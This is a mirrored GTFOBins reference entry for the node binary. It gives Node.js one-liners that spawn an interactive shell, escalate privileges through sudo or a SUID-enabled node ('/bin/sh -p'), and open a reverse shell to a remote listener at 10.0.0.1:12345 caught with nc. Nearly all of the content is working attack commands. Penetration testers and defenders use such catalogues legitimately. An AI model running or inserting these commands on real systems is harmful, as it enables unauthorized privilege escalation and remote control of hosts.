1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/node.md
2018-05-24 00:50:05 +02:00

783 B

functions
exec-interactive sudo-enabled suid-enabled reverse-shell
code
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
code
sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]});'
code
./node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'
description code
Run `nc -l -p 12345` to receive the shell on the other end. export RHOST=10.0.0.1 export RPORT=12345 node -e 'sh = require("child_process").spawn("/bin/sh"); net.connect(process.env.RPORT, process.env.RHOST, function () { this.pipe(sh.stdin); sh.stdout.pipe(this); sh.stderr.pipe(this); });'